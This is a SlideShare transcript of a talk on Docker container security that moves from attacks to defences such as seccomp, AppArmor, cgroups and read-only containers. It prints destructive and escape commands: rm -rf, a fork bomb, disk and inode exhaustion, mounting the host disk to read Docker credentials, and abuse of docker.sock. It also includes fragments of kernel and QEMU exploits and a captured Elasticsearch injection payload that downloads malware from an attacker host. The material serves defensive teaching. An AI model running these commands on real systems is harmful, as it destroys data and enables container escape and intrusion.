SlideShare a Scribd company logo
How Secure Are Containers?
@Ben_Hall
Ben@Katacoda.com
Katacoda.com
How Secure Are Docker Containers?
“Containers Don’t Contain”
How Secure Are Docker Containers?
How Secure Are Containers?
@Ben_Hall
Ben@Katacoda.com
Katacoda.com
@Ben_Hall / Blog.BenHall.me.uk
Microsoft MVP – Cloud and Data Centre
Management
Tech Support > Tester > Developer > Founder
> Docker London Organiser
WHOAMI?
Learn for free via Interactive Browser-Based Labs
Katacoda.com
“What happens when you give
anonymous unrestricted
access to a hosted Docker container &
daemon?”
This is how we [try to] protect
ourselves
How Secure Are Docker Containers?
Google slowing down
$ whoami
$ pwd
$ cd /
$ ls
$ apt-get install <some package>
$ passwd
$ rm –rf /
How Secure Are Docker Containers?
Dockerfile
RUN adduser <new user>
USER <new user>
$ docker run –u <new user>
CanIHazNonPrivilegedContainers.info
$ whoami
root
$ fallocate 1000T /etc/hosts
Because of how Docker maps /etc/hosts,
this will fill the hosts Docker partition. Bye
bye system.
$ uptime
$ free -m
$ df -h
$ cat /proc/cpuinfo
$ uname -a
How Secure Are Docker Containers?
$ reboot
$ shutdown now
How Secure Are Docker Containers?
“It also allows the container to access local network
services + like D-bus and is therefore considered
insecure”
$ docker run --net=host -it ubuntu bash
root@ubuntu:/# shutdown now
root@ubuntu:/#
$ docker run --net=host -it ubuntu bash
Post http://docker:2345/v1.20/containers/create: EOF.
* Are you trying to connect to a TLS-enabled daemon without TLS?
* Is your docker daemon up and running?
--privileged Containers
$ docker run --privileged –d nginx
$ ./exploit
container> df –h
Filesystem Size Used Avail Use% Mounted on
overlay 19G 2.7G 15G 16% /
/dev/vda1 19G 2.7G 15G 16% /etc/hosts
shm 64M 0 64M 0% /dev/shm
container> mkdir -p /tmp2; mount /dev/vda1 /tmp2
container> ls /tmp2
container> cat /tmp2/root/.docker/config
Docker provides a lot out of the box
but not everything…
https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/2016/april/ncc_group_understanding_hardening_linux_containers-1-1.pdf
:(){ :|: & };:
How Secure Are Docker Containers?
Resource Exhaustion
$ whoami
root
$ fallocate 1000T /etc/hosts
$ whoami
non-root-user
$ fallocate 1000T /mydata
Use ZFS file system. Enables Disk space quotas on
a per container level.
$ printf '%s ' {1..1310725} | xargs touch
$ df -i
Filesystem Inodes IUsed IFree IUse% Mounted on
/dev/xvda1 1310720 1310720 0 100% /
$ df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda1 59G 16G 43G 26% /
Privilege Escalation
Kernel (Ubuntu 16.04) BPF Exploit
int main(void) {
if (setuid(0) || setgid(0))
err(1, "setuid/setgid");
fputs("we have root privs now...n", stderr);
execl("/bin/bash", "bash", NULL);
err(1, "execl");
}
https://www.exploit-db.com/exploits/39772/
How Secure Are Docker Containers?
How Secure Are Docker Containers?
How Secure Are Docker Containers?
How Secure Are Docker Containers?
Restrictions
• Namespaces – What can I see
• Capabilities – What can I do?
• Cgroups – How much of something can I use?
• Seccomp – What can I call?
• AppArmor – What can my app do?
Cgroup Settings
• Limit a container to a share of the resource
> --cpu-shares
> --cpuset-cpus
> --memory-reservation
> --kernel-memory
> --blkio-weight (block IO)
> --device-read-iops
> --device-write-iops
Seccomp & AppArmor
Everything is a syscall
• In Linux all applications interact with Kernel
via System Calls
• strace outputs all the calls
• Limit what calls can or cannot be executed
How Secure Are Docker Containers?
{
"name": ”open",
"action": "SCMP_ACT_ALLOW",
"args": []
}
{
"name": ”read",
"action": "SCMP_ACT_ALLOW",
"args": []
}
{
"name": "fchmodat",
"action": "SCMP_ACT_ERRNO",
"args": []
}
How Secure Are Docker Containers?
How Secure Are Docker Containers?
{
"name": ”modify_ldt",
"action": "SCMP_ACT_ERRNO",
"args": []
}
{
"name": ”mmap",
"action": "SCMP_ACT_ERRNO",
"args": []
}
$ docker run 
--security-opt=”seccomp:nodirtycow.json” 
amouat/dirty-cow-test
AppArmor
$ cat docker-nginx
#include <tunables/global>
profile docker-nginx
flags=(attach_disconnected,mediate_deleted) {
#include <abstractions/base>
network inet tcp,
network inet udp,
network inet icmp,
deny network raw,
deny network packet,
file,
umount,
deny /bin/** wl,
deny /boot/** wl,
deny /dev/** wl,
deny /etc/** wl,
deny /home/** wl,
deny /lib/** wl,
deny /lib64/** wl,
/usr/sbin/nginx ix,
deny /bin/dash mrwklx,
deny /bin/sh mrwklx,
deny /usr/bin/top mrwklx,
capability chown,
capability dac_override,
capability setuid,
capability setgid,
capability net_bind_service,
deny @{PROC}/{*,**^[0-9*],sys/kernel/shm*} wkx,
deny @{PROC}/sysrq-trigger rwklx,
deny @{PROC}/mem rwklx,
deny @{PROC}/kmem rwklx,
deny @{PROC}/kcore rwklx,
deny mount,
deny /sys/[^f]*/** wklx,
deny /sys/f[^s]*/** wklx,
deny /sys/fs/[^c]*/** wklx,
deny /sys/fs/c[^g]*/** wklx,
https://github.com/docker/libentitlement
$ docker run --rights=network.admin nginx:latest
How Secure Are Docker Containers?
Intel Clear Containers
https://clearlinux.org/blogs/how-intel%C2%AE-clear-containers-protects-against-root-kernel-exploits-dirty-cow
https://clearlinux.org/blogs/how-intel%C2%AE-clear-containers-protects-against-root-kernel-exploits-dirty-cow
Container Security Solutions
How Secure Are Docker Containers?
How Secure Are Docker Containers?
How Secure Are Docker Containers?
What happens when it all goes
wrong?
Hosting provider becomes unhappy
How Secure Are Docker Containers?
How Secure Are Docker Containers?
org.elasticsearch.search.SearchParseException: [index][3]:
query[ConstantScore(*:*)],from[-1],size[1]: Parse Failure [Failed to parse
source
[{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"exp":{"s
cript":"import java.util.*;nimport java.io.*;nString str = "";BufferedReader br
= new BufferedReader(new
InputStreamReader(Runtime.getRuntime().exec("wget -O /tmp/xdvi
http://<IP Address>:9985/xdvi").getInputStream()));StringBuilder sb = new
StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();"
}}}]]
http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/
C /bin
C /bin/netstat
C /bin/ps
C /bin/ss
C /etc
C /etc/init.d
A /etc/init.d/DbSecuritySpt
A /etc/init.d/selinux
C /etc/rc1.d
A /etc/rc1.d/S97DbSecuritySpt
A /etc/rc1.d/S99selinux
C /etc/rc2.d
A /etc/rc2.d/S97DbSecuritySpt
A /etc/rc2.d/S99selinux
C /etc/rc3.d
A /etc/rc3.d/S97DbSecuritySpt
A /etc/rc3.d/S99selinux
C /etc/rc4.d
A /etc/rc4.d/S97DbSecuritySpt
A /etc/rc4.d/S99selinux
C /etc/rc5.d
http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/
A /etc/rc5.d/S97DbSecuritySpt
A /etc/rc5.d/S99selinux
C /etc/ssh
A /etc/ssh/bfgffa
A /os6
A /safe64
C /tmp
A /tmp/.Mm2
A /tmp/64
A /tmp/6Sxx
A /tmp/6Ubb
A /tmp/DDos99
A /tmp/cmd.n
A /tmp/conf.n
A /tmp/ddos8
A /tmp/dp25
A /tmp/frcc
A /tmp/gates.lod
A /tmp/hkddos
A /tmp/hsperfdata_root
A /tmp/linux32
A /tmp/linux64
A /tmp/manager
A /tmp/moni.lod
A /tmp/nb
A /tmp/o32
A /tmp/oba
A /tmp/okml
A /tmp/oni
A /tmp/yn25
C /usr
C /usr/bin
A /usr/bin/.sshd
A /usr/bin/dpkgd
A /usr/bin/dpkgd/netstat
A /usr/bin/dpkgd/ps
A /usr/bin/dpkgd/ss
Read Only Containers
> docker run –-read-only 
–v /data:/data 
elasticsearch
Read Only Containers
> docker run –-read-only 
--security-opt=no-new-privileges 
--security-opt="apparmor:es-profile” 
–v /data:/data 
elasticsearch
How Secure Are Docker Containers?
Is Docker Secure?
• Yes. Docker is secure*
• Make sure you enable the security features
• ElasticSearch hack would have taken over
entire box
• But only as secure as your practices
$ docker run benhall/cute-kittens
Error: Missing docker.sock
Usage: docker run -v /var/run/docker.sock:/var/run/docker.sock
benhall/cute-kittens
$ docker run 
-v /var/run/docker.sock:/var/run/docker.sock 
benhall/cute-kittens
if [ -e /var/run/docker.sock ]; then
echo "**** Launching ****”
docker run --privileged busybox ls /dev
echo "**** Cute kittens ****"
else
echo "Error: Missing docker.sock”
fi
$ docker run 
-v /var/run/docker.sock:/var/run/docker.sock 
-p 80:80
vulnerable-application
How Secure Are Docker Containers?
How Secure Are Docker Containers?
How Secure Are Docker Containers?
How Secure Are Docker Containers?
How Secure Are Docker Containers?
How Secure Are Docker Containers?
How Secure Are Docker Containers?
DockerBench.com
Katacoda Security Content @
https://katacoda.com/courses/doc
ker-security
Security Without Containers?
How Secure Are Docker Containers?
Think VMs contain?
CVE-2016-3710: QEMU: out-of-bounds memory access issue
Venom QEMU/KVM – Attack via floppy driver
#include <sys/io.h>
#define FIFO 0x3f5
int main() {
int i;
iopl(3);
outb(0x0a,0x3f5); /* READ ID */
for (i=0;i<10000000;i++)
outb(0x42,0x3f5); /* push */
}
How Secure Are Docker Containers?
Privileged containers are not Contained!
Docker.sock file is sensitive!
https://katacoda.com/courses/docker-security
Apply Seccomp, AppArmor, PidsLimit
They will save you when things go wrong
Remember, run Docker / Kubernetes Bench
IDS and Container Security tooling are still key
@Ben_Hall
Ben@Katacoda.com
www.Katacoda.com

More Related Content

PDF
Py conkr 20150829_docker-python
PDF
Nodejs - A quick tour (v6)
PDF
PuppetDB, Puppet Explorer and puppetdbquery
PDF
PuppetDB: A Single Source for Storing Your Puppet Data - PUG NY
PDF
Node.js - A Quick Tour II
KEY
Node.js - A practical introduction (v2)
PDF
Nodejs - A quick tour (v5)
PDF
How to Develop Puppet Modules: From Source to the Forge With Zero Clicks
Py conkr 20150829_docker-python
Nodejs - A quick tour (v6)
PuppetDB, Puppet Explorer and puppetdbquery
PuppetDB: A Single Source for Storing Your Puppet Data - PUG NY
Node.js - A Quick Tour II
Node.js - A practical introduction (v2)
Nodejs - A quick tour (v5)
How to Develop Puppet Modules: From Source to the Forge With Zero Clicks

What's hot (20)

PDF
Puppet Camp Phoenix 2015: Managing Files via Puppet: Let Me Count The Ways (B...
PDF
并发模型介绍
PPTX
Elasticsearch 설치 및 기본 활용
PDF
KubeCon EU 2016: Custom Volume Plugins
PPTX
2009 cluster user training
PDF
PuppetDB: New Adventures in Higher-Order Automation - PuppetConf 2013
PPTX
Ufo Ship for AWS ECS
PDF
PuppetCamp SEA 1 - Version Control with Puppet
PPTX
NodeJs
PDF
Go Profiling - John Graham-Cumming
PPTX
Psycopg2 - Connect to PostgreSQL using Python Script
PDF
Redis - Usability and Use Cases
PDF
Programming with Python and PostgreSQL
PDF
Manifests of Future Past
PDF
Redis and its many use cases
ODP
LPW 2007 - Perl Plumbing
PDF
Go Memory
PDF
An introduction to cgroups and cgroupspy
PDF
Hacking Mac OSX Cocoa API from Perl
PDF
Build your own private openstack cloud
Puppet Camp Phoenix 2015: Managing Files via Puppet: Let Me Count The Ways (B...
并发模型介绍
Elasticsearch 설치 및 기본 활용
KubeCon EU 2016: Custom Volume Plugins
2009 cluster user training
PuppetDB: New Adventures in Higher-Order Automation - PuppetConf 2013
Ufo Ship for AWS ECS
PuppetCamp SEA 1 - Version Control with Puppet
NodeJs
Go Profiling - John Graham-Cumming
Psycopg2 - Connect to PostgreSQL using Python Script
Redis - Usability and Use Cases
Programming with Python and PostgreSQL
Manifests of Future Past
Redis and its many use cases
LPW 2007 - Perl Plumbing
Go Memory
An introduction to cgroups and cgroupspy
Hacking Mac OSX Cocoa API from Perl
Build your own private openstack cloud
Ad

Similar to How Secure Are Docker Containers? (20)

PPTX
Lessons from running potentially malicious code inside containers
PPT
TopicMapReduceComet log analysis by using splunk
PDF
Introduction to PowerShell
PDF
IstSec'14 - İbrahim BALİÇ - Automated Malware Analysis
PDF
Charla EHU Noviembre 2014 - Desarrollo Web
PPTX
Real World Lessons on the Pain Points of Node.js Applications
PDF
soft-shake.ch - Hands on Node.js
PPTX
CONFidence 2015: DTrace + OSX = Fun - Andrzej Dyjak
PDF
Presto anatomy
PDF
Declarative Infrastructure Tools
PPTX
introduction to node.js
PDF
Jaap : node, npm & grunt
PPTX
Building and Scaling Node.js Applications
PDF
PuppetDB: Sneaking Clojure into Operations
PDF
Book
PPTX
Dev ops meetup
PPSX
Automated malware analysis
KEY
JavaScript Growing Up
PDF
Applications secure by default
PDF
Applications secure by default
Lessons from running potentially malicious code inside containers
TopicMapReduceComet log analysis by using splunk
Introduction to PowerShell
IstSec'14 - İbrahim BALİÇ - Automated Malware Analysis
Charla EHU Noviembre 2014 - Desarrollo Web
Real World Lessons on the Pain Points of Node.js Applications
soft-shake.ch - Hands on Node.js
CONFidence 2015: DTrace + OSX = Fun - Andrzej Dyjak
Presto anatomy
Declarative Infrastructure Tools
introduction to node.js
Jaap : node, npm & grunt
Building and Scaling Node.js Applications
PuppetDB: Sneaking Clojure into Operations
Book
Dev ops meetup
Automated malware analysis
JavaScript Growing Up
Applications secure by default
Applications secure by default
Ad

More from Ben Hall (20)

PPTX
The Art Of Documentation - NDC Porto 2022
PPTX
The Art Of Documentation for Open Source Projects
PPTX
Three Years of Lessons Running Potentially Malicious Code Inside Containers
PPTX
Containers without docker
PPTX
Deploying windows containers with kubernetes
PPTX
The Art of Documentation and Readme.md for Open Source Projects
PPTX
The Challenges of Becoming Cloud Native
PPTX
Scaling Docker Containers using Kubernetes and Azure Container Service
PPTX
The art of documentation and readme.md
PPTX
Experimenting and Learning Kubernetes and Tensorflow
PPTX
Running .NET on Docker
PPTX
Real World Lessons on the Pain Points of Node.JS Application
PPTX
Tips on solving E_TOO_MANY_THINGS_TO_LEARN with Kubernetes
PPTX
Deploying applications to Windows Server 2016 and Windows Containers
PPTX
The How and Why of Windows containers
PPTX
Deploying Windows Containers on Windows Server 2016
PPTX
Learning Patterns for the Overworked Developer
PPTX
Implementing Google's Material Design Guidelines
PPTX
Real World Experience of Running Docker in Development and Production
PPTX
Lessons from running potentially malicious code inside Docker containers
The Art Of Documentation - NDC Porto 2022
The Art Of Documentation for Open Source Projects
Three Years of Lessons Running Potentially Malicious Code Inside Containers
Containers without docker
Deploying windows containers with kubernetes
The Art of Documentation and Readme.md for Open Source Projects
The Challenges of Becoming Cloud Native
Scaling Docker Containers using Kubernetes and Azure Container Service
The art of documentation and readme.md
Experimenting and Learning Kubernetes and Tensorflow
Running .NET on Docker
Real World Lessons on the Pain Points of Node.JS Application
Tips on solving E_TOO_MANY_THINGS_TO_LEARN with Kubernetes
Deploying applications to Windows Server 2016 and Windows Containers
The How and Why of Windows containers
Deploying Windows Containers on Windows Server 2016
Learning Patterns for the Overworked Developer
Implementing Google's Material Design Guidelines
Real World Experience of Running Docker in Development and Production
Lessons from running potentially malicious code inside Docker containers

Recently uploaded (20)

PPTX
MYSQL Presentation for SQL database connectivity
PDF
Machine learning based COVID-19 study performance prediction
PDF
Bridging biosciences and deep learning for revolutionary discoveries: a compr...
PPTX
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
PDF
Electronic commerce courselecture one. Pdf
PDF
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
PDF
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
PDF
CIFDAQ's Market Insight: SEC Turns Pro Crypto
PDF
Reach Out and Touch Someone: Haptics and Empathic Computing
PDF
Transforming Manufacturing operations through Intelligent Integrations
PPTX
breach-and-attack-simulation-cybersecurity-india-chennai-defenderrabbit-2025....
PDF
Chapter 3 Spatial Domain Image Processing.pdf
PDF
madgavkar20181017ppt McKinsey Presentation.pdf
PDF
Empathic Computing: Creating Shared Understanding
PDF
Advanced Soft Computing BINUS July 2025.pdf
PPTX
Understanding_Digital_Forensics_Presentation.pptx
PDF
Review of recent advances in non-invasive hemoglobin estimation
PDF
solutions_manual_-_materials___processing_in_manufacturing__demargo_.pdf
PDF
Advanced IT Governance
DOCX
The AUB Centre for AI in Media Proposal.docx
MYSQL Presentation for SQL database connectivity
Machine learning based COVID-19 study performance prediction
Bridging biosciences and deep learning for revolutionary discoveries: a compr...
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
Electronic commerce courselecture one. Pdf
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
CIFDAQ's Market Insight: SEC Turns Pro Crypto
Reach Out and Touch Someone: Haptics and Empathic Computing
Transforming Manufacturing operations through Intelligent Integrations
breach-and-attack-simulation-cybersecurity-india-chennai-defenderrabbit-2025....
Chapter 3 Spatial Domain Image Processing.pdf
madgavkar20181017ppt McKinsey Presentation.pdf
Empathic Computing: Creating Shared Understanding
Advanced Soft Computing BINUS July 2025.pdf
Understanding_Digital_Forensics_Presentation.pptx
Review of recent advances in non-invasive hemoglobin estimation
solutions_manual_-_materials___processing_in_manufacturing__demargo_.pdf
Advanced IT Governance
The AUB Centre for AI in Media Proposal.docx

How Secure Are Docker Containers?

  • 1. How Secure Are Containers? @Ben_Hall [email protected] Katacoda.com
  • 5. How Secure Are Containers? @Ben_Hall [email protected] Katacoda.com
  • 6. @Ben_Hall / Blog.BenHall.me.uk Microsoft MVP – Cloud and Data Centre Management Tech Support > Tester > Developer > Founder > Docker London Organiser WHOAMI?
  • 7. Learn for free via Interactive Browser-Based Labs Katacoda.com
  • 8. “What happens when you give anonymous unrestricted access to a hosted Docker container & daemon?” This is how we [try to] protect ourselves
  • 11. $ whoami $ pwd $ cd / $ ls $ apt-get install <some package> $ passwd $ rm –rf /
  • 13. Dockerfile RUN adduser <new user> USER <new user> $ docker run –u <new user>
  • 15. $ whoami root $ fallocate 1000T /etc/hosts Because of how Docker maps /etc/hosts, this will fill the hosts Docker partition. Bye bye system.
  • 16. $ uptime $ free -m $ df -h $ cat /proc/cpuinfo $ uname -a
  • 20. “It also allows the container to access local network services + like D-bus and is therefore considered insecure” $ docker run --net=host -it ubuntu bash root@ubuntu:/# shutdown now root@ubuntu:/# $ docker run --net=host -it ubuntu bash Post http://docker:2345/v1.20/containers/create: EOF. * Are you trying to connect to a TLS-enabled daemon without TLS? * Is your docker daemon up and running?
  • 22. $ docker run --privileged –d nginx $ ./exploit container> df –h Filesystem Size Used Avail Use% Mounted on overlay 19G 2.7G 15G 16% / /dev/vda1 19G 2.7G 15G 16% /etc/hosts shm 64M 0 64M 0% /dev/shm container> mkdir -p /tmp2; mount /dev/vda1 /tmp2 container> ls /tmp2 container> cat /tmp2/root/.docker/config
  • 23. Docker provides a lot out of the box but not everything… https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/2016/april/ncc_group_understanding_hardening_linux_containers-1-1.pdf
  • 24. :(){ :|: & };:
  • 27. $ whoami root $ fallocate 1000T /etc/hosts $ whoami non-root-user $ fallocate 1000T /mydata Use ZFS file system. Enables Disk space quotas on a per container level.
  • 28. $ printf '%s ' {1..1310725} | xargs touch $ df -i Filesystem Inodes IUsed IFree IUse% Mounted on /dev/xvda1 1310720 1310720 0 100% / $ df -h Filesystem Size Used Avail Use% Mounted on /dev/sda1 59G 16G 43G 26% /
  • 30. Kernel (Ubuntu 16.04) BPF Exploit int main(void) { if (setuid(0) || setgid(0)) err(1, "setuid/setgid"); fputs("we have root privs now...n", stderr); execl("/bin/bash", "bash", NULL); err(1, "execl"); } https://www.exploit-db.com/exploits/39772/
  • 35. Restrictions • Namespaces – What can I see • Capabilities – What can I do? • Cgroups – How much of something can I use? • Seccomp – What can I call? • AppArmor – What can my app do?
  • 36. Cgroup Settings • Limit a container to a share of the resource > --cpu-shares > --cpuset-cpus > --memory-reservation > --kernel-memory > --blkio-weight (block IO) > --device-read-iops > --device-write-iops
  • 38. Everything is a syscall • In Linux all applications interact with Kernel via System Calls • strace outputs all the calls • Limit what calls can or cannot be executed
  • 40. { "name": ”open", "action": "SCMP_ACT_ALLOW", "args": [] } { "name": ”read", "action": "SCMP_ACT_ALLOW", "args": [] } { "name": "fchmodat", "action": "SCMP_ACT_ERRNO", "args": [] }
  • 45. $ docker run --security-opt=”seccomp:nodirtycow.json” amouat/dirty-cow-test
  • 47. $ cat docker-nginx #include <tunables/global> profile docker-nginx flags=(attach_disconnected,mediate_deleted) { #include <abstractions/base> network inet tcp, network inet udp, network inet icmp, deny network raw, deny network packet, file, umount, deny /bin/** wl, deny /boot/** wl, deny /dev/** wl, deny /etc/** wl, deny /home/** wl, deny /lib/** wl, deny /lib64/** wl, /usr/sbin/nginx ix, deny /bin/dash mrwklx, deny /bin/sh mrwklx, deny /usr/bin/top mrwklx, capability chown, capability dac_override, capability setuid, capability setgid, capability net_bind_service, deny @{PROC}/{*,**^[0-9*],sys/kernel/shm*} wkx, deny @{PROC}/sysrq-trigger rwklx, deny @{PROC}/mem rwklx, deny @{PROC}/kmem rwklx, deny @{PROC}/kcore rwklx, deny mount, deny /sys/[^f]*/** wklx, deny /sys/f[^s]*/** wklx, deny /sys/fs/[^c]*/** wklx, deny /sys/fs/c[^g]*/** wklx,
  • 57. What happens when it all goes wrong?
  • 61. org.elasticsearch.search.SearchParseException: [index][3]: query[ConstantScore(*:*)],from[-1],size[1]: Parse Failure [Failed to parse source [{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"exp":{"s cript":"import java.util.*;nimport java.io.*;nString str = "";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("wget -O /tmp/xdvi http://<IP Address>:9985/xdvi").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();" }}}]] http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/
  • 62. C /bin C /bin/netstat C /bin/ps C /bin/ss C /etc C /etc/init.d A /etc/init.d/DbSecuritySpt A /etc/init.d/selinux C /etc/rc1.d A /etc/rc1.d/S97DbSecuritySpt A /etc/rc1.d/S99selinux C /etc/rc2.d A /etc/rc2.d/S97DbSecuritySpt A /etc/rc2.d/S99selinux C /etc/rc3.d A /etc/rc3.d/S97DbSecuritySpt A /etc/rc3.d/S99selinux C /etc/rc4.d A /etc/rc4.d/S97DbSecuritySpt A /etc/rc4.d/S99selinux C /etc/rc5.d http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/ A /etc/rc5.d/S97DbSecuritySpt A /etc/rc5.d/S99selinux C /etc/ssh A /etc/ssh/bfgffa A /os6 A /safe64 C /tmp A /tmp/.Mm2 A /tmp/64 A /tmp/6Sxx A /tmp/6Ubb A /tmp/DDos99 A /tmp/cmd.n A /tmp/conf.n A /tmp/ddos8 A /tmp/dp25 A /tmp/frcc A /tmp/gates.lod A /tmp/hkddos A /tmp/hsperfdata_root A /tmp/linux32 A /tmp/linux64 A /tmp/manager A /tmp/moni.lod A /tmp/nb A /tmp/o32 A /tmp/oba A /tmp/okml A /tmp/oni A /tmp/yn25 C /usr C /usr/bin A /usr/bin/.sshd A /usr/bin/dpkgd A /usr/bin/dpkgd/netstat A /usr/bin/dpkgd/ps A /usr/bin/dpkgd/ss
  • 63. Read Only Containers > docker run –-read-only –v /data:/data elasticsearch
  • 64. Read Only Containers > docker run –-read-only --security-opt=no-new-privileges --security-opt="apparmor:es-profile” –v /data:/data elasticsearch
  • 66. Is Docker Secure? • Yes. Docker is secure* • Make sure you enable the security features • ElasticSearch hack would have taken over entire box • But only as secure as your practices
  • 67. $ docker run benhall/cute-kittens Error: Missing docker.sock Usage: docker run -v /var/run/docker.sock:/var/run/docker.sock benhall/cute-kittens $ docker run -v /var/run/docker.sock:/var/run/docker.sock benhall/cute-kittens
  • 68. if [ -e /var/run/docker.sock ]; then echo "**** Launching ****” docker run --privileged busybox ls /dev echo "**** Cute kittens ****" else echo "Error: Missing docker.sock” fi
  • 69. $ docker run -v /var/run/docker.sock:/var/run/docker.sock -p 80:80 vulnerable-application
  • 78. Katacoda Security Content @ https://katacoda.com/courses/doc ker-security
  • 81. Think VMs contain? CVE-2016-3710: QEMU: out-of-bounds memory access issue Venom QEMU/KVM – Attack via floppy driver #include <sys/io.h> #define FIFO 0x3f5 int main() { int i; iopl(3); outb(0x0a,0x3f5); /* READ ID */ for (i=0;i<10000000;i++) outb(0x42,0x3f5); /* push */ }
  • 83. Privileged containers are not Contained! Docker.sock file is sensitive! https://katacoda.com/courses/docker-security Apply Seccomp, AppArmor, PidsLimit They will save you when things go wrong Remember, run Docker / Kubernetes Bench IDS and Container Security tooling are still key

Editor's Notes

  • #9: same problem as applications when they’ve been hacked…
  • #17: Docker doesn’t support Kernel Virtualisation… hence information from host kernel is leaked
  • #21: User namespaces in 1.9 removes net=host https://github.com/dotcloud/docker/issues/6401
  • #25: :(){ :|:& };: \_/| |||| ||\- ... the function ':', initiating a chain-reaction: each ':' will start two more. | | |||| |\- Definition ends now, to be able to run ... | | |||| \- End of function-block | | |||\- disown the functions (make them a background process), so that the children of a parent | | ||| will not be killed when the parent gets auto-killed | | ||\- ... another copy of the ':'-function, which has to be loaded into memory. | | || So, ':|:' simply loads two copies of the function, whenever ':' is called | | |\- ... and pipe its output to ... | | \- Load a copy of the function ':' into memory ... | \- Begin of function-definition \- Define the function ':' without any parameters '()' as follows:
  • #69: https://github.com/jerbia/container_hack
  • #85: tom's kitchen